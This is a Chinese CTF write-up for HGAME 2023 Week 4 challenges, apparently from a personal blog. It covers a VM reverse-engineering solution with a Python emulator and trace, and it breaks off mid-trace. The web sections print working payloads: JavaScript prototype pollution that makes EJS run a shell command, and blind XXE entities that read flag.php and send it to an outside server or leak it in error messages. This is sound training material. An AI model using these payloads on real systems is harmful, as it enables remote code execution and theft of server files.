                        <![CDATA[<p>第四周的比赛难度较高，同时也出现了不少颇为有趣的题目。可惜笔者比较菜，做出来的题目数量并不是很多，不过里面确实有几道题值得好好讲讲。不多废话了，抓紧端上来吧（喜）。<br />注：本周CRYPTO类的赛题ECRSA在数学大佬的帮助下解出；本周REVERSE类赛题vm由大佬<code>Latihas</code>提供思路指导，在这里表达感谢！</p><blockquote><p>Week4 比赛地址：<a href="https://hgame.vidar.club/contest/5" target="_blank">https://hgame.vidar.club/contest/5</a></p></blockquote><h2 id="%5Bweb%5D-shared-diary" tabindex="-1">[WEB] Shared Diary</h2><p>本题考查JavaScript的原型链污染漏洞，关于该漏洞的原理，网络上已经有十分详细的原理分析文章和复现教程，此处不再赘述，可以阅读这篇文章：<a href="https://blog.csdn.net/m0_62422842/article/details/125154265" target="_blank">https://blog.csdn.net/m0_62422842/article/details/125154265</a><br />分析程序源代码：</p><pre><code class="language-js">function merge(target, source) {    for (let key in source) {        // Prevent prototype pollution        if (key === &#39;__proto__&#39;) {            throw new Error(&quot;Detected Prototype Pollution&quot;)        }        if (key in source &amp;&amp; key in target) {            merge(target[key], source[key])        } else {            target[key] = source[key]        }    }}// ...app.all(&quot;/login&quot;, (req, res) =&gt; {    if (req.method == &#39;POST&#39;) {        // save userinfo to session        let data = {};        try {            merge(data, req.body)        } catch (e) {            console.log(e)            return res.render(&quot;login&quot;, { message: &quot;Don&#39;t pollution my shared diary!&quot; })        }        req.session.data = data        console.log(data, data.__proto__, req.body.__proto__);        // check password        let user = {};        user.password = req.body.password;        if (user.password === &quot;testpassword&quot;) {            user.role = &#39;admin&#39;        }        if (user.role === &#39;admin&#39;) {            req.session.role = &#39;admin&#39;            return res.redirect(&#39;/&#39;)        } else {            return res.render(&quot;login&quot;, { message: &quot;Login as admin or don&#39;t touch my shared diary!&quot; })        }    }    res.render(&#39;login&#39;, { message: &quot;&quot; });});// ...</code></pre><p>发现登录操作在验证密码之前，先调用了一下<code>merge</code>函数，将<code>req.body</code>的所有内容转移至<code>data</code>，而这个<code>merge</code>函数看似新增了一个<code>if</code>语句，将<code>__proto__</code>过滤，防止住了原型链污染，实则不然。其实变量除了内置<code>__proto__</code>之外，还内置了<code>constructor</code>属性，该属性是用于初始化变量的特殊方法，在该属性中包含<code>prototype</code>属性，而这个<code>prototype</code>属性指向的内容与<code>__proto__</code>是一致的。因此，我们可以以这个为突破口，实现原型链污染。<br />接着，我们需要找到一个可以利用的污染点，以便于我们执行任意代码。再次观察代码，我们发现，该程序使用<code>ejs</code>渲染后端网页，而<code>ejs</code>正好存在一个可以被利用的原型链污染漏洞，关于该漏洞的原理，网络上也有很多博主撰文分析过，若想进一步了解可以阅读该文章：<a href="https://blog.csdn.net/DARKNOTES/article/details/124000520" target="_blank">https://blog.csdn.net/DARKNOTES/article/details/124000520</a>。<br />于是，我们根据文章描述，创建本地环境，并尝试提交如下<code>payload</code>：</p><pre><code class="language-json">{    &quot;username&quot;: &quot;testusername&quot;,    &quot;password&quot;: &quot;testpassword&quot;,    &quot;constructor&quot;: {        &quot;prototype&quot;: {            &quot;outputFunctionName&quot;: &quot;1; return global.process.mainModule.constructor._load(&#39;child_process&#39;).execSync(&#39;cat /flag&#39;);&quot;        }    }}</code></pre><p>很可惜，注入失败，网页返回：</p><pre><code class="language-text">Error: outputFunctionName is not a valid JS identifier.</code></pre><p>这是为什么呢？我们查询<code>ejs</code>的源代码后，发现<code>outputFunctionName</code>这一块的漏洞已经被修复，被利用：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/e8f091c985b3483b8fa688a4add8a2ff.png" alt="d5610dead29cce970bd6a7829b34309c.png" /><br />不过问题不大，我们继续阅读源代码，发现此处的<code>escapeFn</code>变量似乎并没有被<code>test</code>，而这个<code>escapeFn</code>正是<code>opts.escapeFunction</code>：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/07b83d4c8691457587cc418f6f4d9f08.png" alt="498d55ab6db0192cc5639eae7e99461d.png" /><br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/3a32bdae01b94596baf24bcf5ef67d52.png" alt="61c5cd2293954603c85f26c84cb32b1b.png" /><br />因此，我们只需将<code>client</code>设置为<code>true</code>，然后<strong>重启实例</strong>（因为若先前原型链被污染过，可能会因此报错，无法再被污染一次），将<code>escapeFunction</code>设置为注入的代码，即可，最后的<code>payload</code>如下：</p><pre><code class="language-json">{    &quot;username&quot;: &quot;testusername&quot;,    &quot;password&quot;: &quot;testpassword&quot;,    &quot;constructor&quot;: {        &quot;prototype&quot;: {            &quot;client&quot;: true,            &quot;escapeFunction&quot;: &quot;1; return global.process.mainModule.constructor._load(&#39;child_process&#39;).execSync(&#39;cat /flag&#39;)&quot;        }    }}</code></pre><p>提交即可获得flag：</p><pre><code class="language-text">hgame{N0tice_prototype_pollution&amp;&amp;EJS_server_template_injection}</code></pre><h2 id="%5Bweb%5D-tell-me" tabindex="-1">[WEB] Tell Me</h2><p>访问网站，发现<code>hint</code>：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/781aa887a83942f39e055f82516924d0.png" alt="420808826496c7f13b606f84f6258ca5.png" /><br />下载源代码，发现玄只因藏在<code>send.php</code>中，代码的第一行甚至已经把XML加载实体打开了：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/3665dbbe1bc44e7a85b924c2b0478f1c.png" alt="36132483ce92ea4f3ae063e7560bfb66.png" /><br />说明本题的突破口就在XML上，可以运用外部实体注入漏洞，关于该漏洞，可以阅读该文章：<a href="https://blog.csdn.net/weixin_44420143/article/details/118721145" target="_blank">https://blog.csdn.net/weixin_44420143/article/details/118721145</a><br />按照教程，我们可以很轻松得写出注入用payload：<br />首先，在自己的网站服务器创建一个<code>reciv.xml</code>文件：</p><pre><code class="language-xml">&lt;!ENTITY % all &quot;&lt;!ENTITY send SYSTEM &#39;http://&lt;用于接收文件信息的地址&gt;/%file;&#39;&gt;&quot;&gt;</code></pre><p>接着，提交如下<code>payload</code>：</p><pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot;?&gt;&lt;!DOCTYPE ANY[&lt;!ELEMENT user ANY &gt;&lt;!ENTITY % file SYSTEM &quot;php://filter/convert.base64-encode/resource=flag.php&quot;&gt;&lt;!ENTITY % remote SYSTEM &quot;http://&lt;你的网站&gt;/reciv.xml&quot;&gt;%remote;%all;]&gt;&lt;user&gt;    &lt;name&gt;&amp;send;&lt;/name&gt;    &lt;email&gt;111&lt;/email&gt;    &lt;content&gt;111&lt;/content&gt;&lt;/user&gt;</code></pre><p>即可在接收文件信息的地址接收到flag了。</p><p>当然，本题也可以通过网站的报错信息来读取flag，而且不需要额外布置服务器，payload如下：</p><pre><code class="language-xml">&lt;!ENTITY % parse &quot;&lt;!ENTITY getflag SYSTEM &#39;http://%file;&#39;&gt;&quot;&gt;&lt;?xml version=&quot;1.0&quot;?&gt;&lt;!DOCTYPE ANY[&lt;!ELEMENT user ANY &gt;&lt;!ENTITY % file SYSTEM &quot;php://filter/convert.base64-encode/resource=flag.php&quot;&gt;&lt;!ENTITY % remote SYSTEM &quot;data://text/plain;base64,PCFFTlRJVFkgJSBwYXJzZSAiPCFFTlRJVFkgZ2V0ZmxhZyBTWVNURU0gJyVmaWxlOyc+Ij4=&quot;&gt;%remote;%parse;]&gt;&lt;user&gt;    &lt;name&gt;&amp;getflag;&lt;/name&gt;    &lt;email&gt;111&lt;/email&gt;    &lt;content&gt;111&lt;/content&gt;&lt;/user&gt;</code></pre><p>最后得到的flag如下：</p><pre><code class="language-text">hgame{Be_Aware_0f_XXeBl1nd1njecti0n}</code></pre><h2 id="%5Breverse%5D-vm" tabindex="-1">[REVERSE] vm</h2><p>根据本题的Hint进行解题：</p><pre><code class="language-cpp">struct vm { unsigned int reg[6]={0}; unsigned int ip = 0; unsigned int sp = 0; bool zf = 0; };</code></pre><p>将结构体导入IDA，然后对反编译代码做一些标注和类型修改，得到以下主程序：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/9cde7b56e75f4357a4be9f903713fe77.png" alt="7b654d345ca01b7bab8be65e4e4436fb.png" /><br />此处的<code>run_vm</code>函数是笔者自己取的名字，也是本题的主要的函数，进入函数后：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/fb0aa6b4e4404136b8059ef6dc553fa9.png" alt="c31fd122376f598e50e119c5c9f28631.png" /><br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/b9134f8f241148c88bd294d009143e42.png" alt="45aab136a5d60104a846670a15bdc057.png" /><br />可以发现，其实<code>a1-&gt;ip</code>就是内存的地址指针，<code>code</code>里存的就是代码了。既然如此，其实我们可以根据每一个函数的操作，用<code>python</code>复现完整的操作，顺便将代码变得更加可读。于是，便有了下面的代码：</p><pre><code class="language-python">p = [    0, 3, 2, 0, 3, 0, 2, 3, 0, 0,    0, 0, 0, 2, 1, 0, 0, 3, 2, 50,    3, 0, 2, 3, 0, 0, 0, 0, 3, 0,    1, 0, 0, 3, 2, 100, 3, 0, 2, 3,    0, 0, 0, 0, 3, 3, 1, 0, 0, 3,    0, 8, 0, 2, 2, 1, 3, 4, 1, 0,    3, 5, 2, 0, 3, 0, 1, 2, 0, 2,    0, 1, 1, 0, 0, 3, 0, 1, 3, 0,    3, 0, 0, 2, 0, 3, 0, 3, 1, 40,    4, 6, 95, 5, 0, 0, 3, 3, 0, 2,    1, 0, 3, 2, 150, 3, 0, 2, 3, 0,    0, 0, 0, 4, 7, 136, 0, 3, 0, 1,    3, 0, 3, 0, 0, 2, 0, 3, 0, 3,    1, 40, 4, 7, 99, 255, 255, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0]data = [    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    155, 0, 0, 0, 168, 0, 0, 0, 2, 0,    0, 0, 188, 0, 0, 0, 172, 0, 0, 0,    156, 0, 0, 0, 206, 0, 0, 0, 250, 0,    0, 0, 2, 0, 0, 0, 185, 0, 0, 0,    255, 0, 0, 0, 58, 0, 0, 0, 116, 0,    0, 0, 72, 0, 0, 0, 25, 0, 0, 0,    105, 0, 0, 0, 232, 0, 0, 0, 3, 0,    0, 0, 203, 0, 0, 0, 201, 0, 0, 0,    255, 0, 0, 0, 252, 0, 0, 0, 128, 0,    0, 0, 214, 0, 0, 0, 141, 0, 0, 0,    215, 0, 0, 0, 114, 0, 0, 0, 0, 0,    0, 0, 167, 0, 0, 0, 29, 0, 0, 0,    61, 0, 0, 0, 153, 0, 0, 0, 136, 0,    0, 0, 153, 0, 0, 0, 191, 0, 0, 0,    232, 0, 0, 0, 150, 0, 0, 0, 46, 0,    0, 0, 93, 0, 0, 0, 87, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    201, 0, 0, 0, 169, 0, 0, 0, 189, 0,    0, 0, 139, 0, 0, 0, 23, 0, 0, 0,    194, 0, 0, 0, 110, 0, 0, 0, 248, 0,    0, 0, 245, 0, 0, 0, 110, 0, 0, 0,    99, 0, 0, 0, 99, 0, 0, 0, 213, 0,    0, 0, 70, 0, 0, 0, 93, 0, 0, 0,    22, 0, 0, 0, 152, 0, 0, 0, 56, 0,    0, 0, 48, 0, 0, 0, 115, 0, 0, 0,    56, 0, 0, 0, 193, 0, 0, 0, 94, 0,    0, 0, 237, 0, 0, 0, 176, 0, 0, 0,    41, 0, 0, 0, 90, 0, 0, 0, 24, 0,    0, 0, 64, 0, 0, 0, 167, 0, 0, 0,    253, 0, 0, 0, 10, 0, 0, 0, 30, 0,    0, 0, 120, 0, 0, 0, 139, 0, 0, 0,    98, 0, 0, 0, 219, 0, 0, 0, 15, 0,    0, 0, 143, 0, 0, 0, 156, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 72, 0, 0, 0, 241, 0, 0, 0, 64,    0, 0, 0, 33, 0, 0, 1, 53, 0, 0,    0, 100, 0, 0, 1, 120, 0, 0, 0, 249,    0, 0, 1, 24, 0, 0, 0, 82, 0, 0,    0, 37, 0, 0, 1, 93, 0, 0, 0, 71,    0, 0, 0, 253, 0, 0, 1, 105, 0, 0,    0, 92, 0, 0, 1, 175, 0, 0, 0, 178,    0, 0, 1, 236, 0, 0, 1, 82, 0, 0,    1, 79, 0, 0, 1, 26, 0, 0, 0, 80,    0, 0, 1, 133, 0, 0, 0, 205, 0, 0,    0, 35, 0, 0, 0, 248, 0, 0, 0, 12,    0, 0, 0, 207, 0, 0, 1, 61, 0, 0,    1, 69, 0, 0, 0, 130, 0, 0, 1, 210,    0, 0, 1, 41, 0, 0, 1, 213, 0, 0,    1, 6, 0, 0, 1, 162, 0, 0, 0, 222,    0, 0, 1, 166, 0, 0, 1, 202, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0]class Stack:    def __init__(self, size):        self.size = size        self.stack = []        self.top = -1    def push(self, ele):  # 入栈之前检查栈是否已满        if self.isFull():            raise Exception(&quot;out of range&quot;)        else:            self.stack.append(ele)            self.top = self.top + 1    def pop(self):  # 出栈之前检查栈是否为空        if self.isEmpty():            raise Exception(&quot;stack is empty&quot;)        else:            self.top = self.top - 1            return self.stack.pop()    def isFull(self):        return self.top + 1 == self.size    def isEmpty(self):        return self.top == -1def load(s):    global data    data1 = []    cnt = 0    number = 0    for i in data:        number += i &lt;&lt; (cnt * 8)        cnt += 1        if cnt == 4:            cnt = 0            data1.append(number)            number = 0    data = data1    for i in range(len(s)):        data[i] = ord(s[i])if __name__ == &#39;__main__&#39;:    ip = 0    stack = Stack(1000000000)    reg = [0, 0, 0, 0, 0, 0]    load(&#39;hgame{&#39; + &#39;0&#39; * 33)    print(data[150:])    zf = False    while True:        cmd = p[ip]        if cmd == 0:            cmd2 = p[ip + 1]            if cmd2 == 3:                reg[p[ip + 2]] = p[ip + 3]                print(f&#39;reg[{p[ip + 2]}]={p[ip + 3]}, reg[{p[ip + 2]}]={reg[p[ip + 2]]}&#39;)            elif cmd2 == 2:                reg[p[ip + 2]] = reg[p[ip + 3]]                print(f&#39;reg[{p[ip + 2]}]=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}&#39;)            elif cmd2 == 1:                data[reg[2]] = reg[0]                print(f&#39;data[{reg[2]}]=reg[0], data[{reg[2]}]={data[reg[2]]}&#39;)                print(&#39;data =&#39;, data)            else:                reg[0] = data[reg[2]]                print(f&quot;reg[0]=data[{reg[2]}], reg[0]={reg[0]}&quot;)            ip += 4        elif cmd == 1:            cmd2 = p[ip + 1]            if cmd2 == 1:                stack.push(reg[0])                print(&quot;stack.push(reg[0]), reg[0]=&quot;, reg[0], sep=&#39;&#39;)            elif cmd2 == 2:                stack.push(reg[2])                print(&quot;stack.push(reg[2]), reg[2]=&quot;, reg[2], sep=&#39;&#39;)            elif cmd2 == 3:                stack.push(reg[3])                print(&quot;stack.push(reg[3]), reg[3]=&quot;, reg[3], sep=&#39;&#39;)            else:                stack.push(reg[0])                print(&quot;stack.push(reg[0]), reg[0]=&quot;, reg[0], sep=&#39;&#39;)            ip += 2        elif cmd == 2:            cmd2 = p[ip + 1]            if cmd2 == 1:                reg[1] = stack.pop()                print(&quot;reg[1]=stack.pop(), reg[1]=&quot;, reg[1], sep=&#39;&#39;)            elif cmd2 == 2:                reg[2] = stack.pop()                print(&quot;reg[2]=stack.pop(), reg[2]=&quot;, reg[2], sep=&#39;&#39;)            elif cmd2 == 3:                reg[3] = stack.pop()                print(&quot;reg[3]=stack.pop(), reg[3]=&quot;, reg[3], sep=&#39;&#39;)            else:                reg[0] = stack.pop()                print(&quot;reg[0]=stack.pop(), reg[0]=&quot;, reg[0], sep=&#39;&#39;)            ip += 2        elif cmd == 3:            cmd2 = p[ip + 1]            if cmd2 == 0:                reg[p[ip + 2]] += reg[p[ip + 3]]                print(f&quot;reg[{p[ip + 2]}]+=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}&quot;)            elif cmd2 == 1:                reg[p[ip + 2]] -= reg[p[ip + 3]]                print(f&quot;reg[{p[ip + 2]}]-=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}&quot;)            elif cmd2 == 2:                reg[p[ip + 2]] *= reg[p[ip + 3]]                print(f&quot;reg[{p[ip + 2]}]*=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}&quot;)            elif cmd2 == 3:                reg[p[ip + 2]] ^= reg[p[ip + 3]]                print(f&quot;reg[{p[ip + 2]}]^=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}&quot;)            elif cmd2 == 4:                reg[p[ip + 2]] &lt;&lt;= reg[p[ip + 3]]                reg[p[ip + 2]] &amp;= 0xff00                print(f&quot;reg[{p[ip + 2]}]&lt;&lt;=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}&quot;)            elif cmd2 == 5:                reg[p[ip + 2]] &gt;&gt;= reg[p[ip + 3]]                print(f&quot;reg[{p[ip + 2]}]&gt;&gt;=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}&quot;)            ip += 4        elif cmd == 4:            zf = not reg[0] == reg[1]            print(&quot;judge if reg[0] == reg[1], zf = &quot;, zf, sep=&#39;&#39;)            ip += 1        elif cmd == 5:            addr = p[ip + 1]            print(&quot;jump to &quot;, addr, sep=&#39;&#39;)            ip = addr        elif cmd == 6:            if zf:                addr = ip + 2                print(&quot;expect zf, zf=True, continue&quot;)            else:                addr = p[ip + 1]                print(&quot;expect zf, zf=False, jump to&quot;, addr)            ip = addr        elif cmd == 7:            if zf:                addr = p[ip + 1]                print(&quot;expect not zf, zf=True, jump to&quot;, addr)            else:                addr = ip + 2                print(&quot;expect not zf, zf=False, continue&quot;)            ip = addr        elif cmd == 255:            exit()</code></pre><p>这个程序是模拟输入的字符串为<code>hgame{000000...</code>的时候，程序的所有操作，输出如下：</p><pre><code class="language-text">[18432, 61696, 16384, 8448, 13569, 25600, 30721, 63744, 6145, 20992, 9472, 23809, 18176, 64768, 26881, 23552, 44801, 45568, 60417, 20993, 20225, 6657, 20480, 34049, 52480, 8960, 63488, 3072, 52992, 15617, 17665, 33280, 53761, 10497, 54529, 1537, 41473, 56832, 42497, 51713, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]reg[2]=0, reg[2]=0reg[2]+=reg[3], reg[2]=0reg[0]=data[0], reg[0]=104reg[1]=reg[0], reg[1]=104reg[2]=50, reg[2]=50reg[2]+=reg[3], reg[2]=50reg[0]=data[50], reg[0]=155reg[1]+=reg[0], reg[1]=259reg[2]=100, reg[2]=100reg[2]+=reg[3], reg[2]=100reg[0]=data[100], reg[0]=201reg[1]^=reg[0], reg[1]=458reg[0]=8, reg[0]=8reg[2]=reg[1], reg[2]=458reg[1]&lt;&lt;=reg[0], reg[1]=51712reg[2]&gt;&gt;=reg[0], reg[2]=1reg[1]+=reg[2], reg[1]=51713reg[0]=reg[1], reg[0]=51713stack.push(reg[0]), reg[0]=51713reg[0]=1, reg[0]=1reg[3]+=reg[0], reg[3]=1reg[0]=reg[3], reg[0]=1reg[1]=40, reg[1]=40judge if reg[0] == reg[1], zf = Trueexpect zf, zf=True, continuejump to 0reg[2]=0, reg[2]=0reg[2]+=reg[3], reg[2]=1reg[0]=data[1], reg[0]=103reg[1]=reg[0], reg[1]=103reg[2]=50, reg[2]=50reg[2]+=reg[3], reg[2]=51reg[0]=data[51], reg[0]=168reg[1]+=reg[0], reg[1]=271reg[2]=100, reg[2]=100reg[2]+=reg[3], reg[2]=101reg[0]=data[101], reg[0]=169reg[1]^=reg[0], reg[1]=422reg[0]=8, reg[0]=8reg[2]=reg[1], reg[2]=422reg[1]&lt;&lt;=reg[0], reg[1]=42496reg[2]&gt;&gt;=reg[0], reg[2]=1reg[1]+=reg[2], reg[1]=42497reg[0]=reg[1], reg[0]=42497stack.push(reg[0]), reg[0]=42497reg[0]=1, reg[0]=1reg[3]+=reg[0], reg[3]=2reg[0]=reg[3], reg[0]=2reg[1]=40, reg[1]=40judge if reg[0] == reg[1], zf = Trueexpect zf, zf=True, continuejump to 0reg[2]=0, reg[2]=0reg[2]+=reg[3], reg[2]=2reg[0]=data[2], reg[0]=97reg[1]=reg[0], reg[1]=97reg[2]=50, reg[2]=50reg[2]+=reg[3], reg[2]=52reg[0]=data[52], reg[0]=2reg[1]+=reg[0], reg[1]=99reg[2]=100, reg[2]=100reg[2]+=reg[3], reg[2]=102reg[0]=data[102], reg[0]=189reg[1]^=reg[0], reg[1]=222reg[0]=8, reg[0]=8reg[2]=reg[1], reg[2]=222reg[1]&lt;&lt;=reg[0], reg[1]=56832reg[2]&gt;&gt;=reg[0], reg[2]=0reg[1]+=reg[2], reg[1]=56832reg[0]=reg[1], reg[0]=56832stack.push(reg[0]), reg[0]=56832reg[0]=1, reg[0]=1reg[3]+=reg[0], reg[3]=3reg[0]=reg[3], reg[0]=3reg[1]=40, reg[1]=40judge if reg[0] == reg[1], zf = Trueexpect zf, zf=True, continuejump to 0reg[2]=0, reg[2]=0reg[2]+=reg[3], reg[2]=3reg[0]=data[3], reg[0]=109reg[1]=reg[0], reg[1]=109reg[2]=50, reg[2]=50reg[2]+=reg[3], reg[2]=53reg[0]=data[53], reg[0]=188reg[1]+=reg[0], reg[1]=297reg[2]=100, reg[2]=100reg[2]+=reg[3], reg[2]=103reg[0]=data[103], reg[0]=139reg[1]^=reg[0], reg[1]=418reg[0]=8, reg[0]=8reg[2]=reg[1], reg[2]=418reg[1]&lt;&lt;=reg[0], reg[1]=41472reg[2]&gt;&gt;=reg[0], reg[2]=1reg[1]+=reg[2], reg[1]=41473reg[0]=reg[1], reg[0]=41473stack.push(reg[0]), reg[0]=41473// 此处大多属于类似操作，故忽略jump to 0reg[2]=0, reg[2]=0reg[2]+=reg[3], reg[2]=39reg[0]=data[39], reg[0]=0reg[1]=reg[0], reg[1]=0reg[2]=50, reg[2]=50reg[2]+=reg[3], reg[2]=89reg[0]=data[89], reg[0]=87reg[1]+=reg[0], reg[1]=87reg[2]=100, reg[2]=100reg[2]+=reg[3], reg[2]=139reg[0]=data[139], reg[0]=156reg[1]^=reg[0], reg[1]=203reg[0]=8, reg[0]=8reg[2]=reg[1], reg[2]=203reg[1]&lt;&lt;=reg[0], reg[1]=51968reg[2]&gt;&gt;=reg[0], reg[2]=0reg[1]+=reg[2], reg[1]=51968reg[0]=reg[1], reg[0]=51968stack.push(reg[0]), reg[0]=51968reg[0]=1, reg[0]=1reg[3]+=reg[0], reg[3]=40reg[0]=reg[3], reg[0]=40reg[1]=40, reg[1]=40judge if reg[0] == reg[1], zf = Falseexpect zf, zf=False, jump to 95reg[3]=0, reg[3]=0reg[1]=stack.pop(), reg[1]=51968reg[2]=150, reg[2]=150reg[2]+=reg[3], reg[2]=150reg[0]=data[150], reg[0]=18432judge if reg[0] == reg[1], zf = Trueexpect not zf, zf=True, jump to 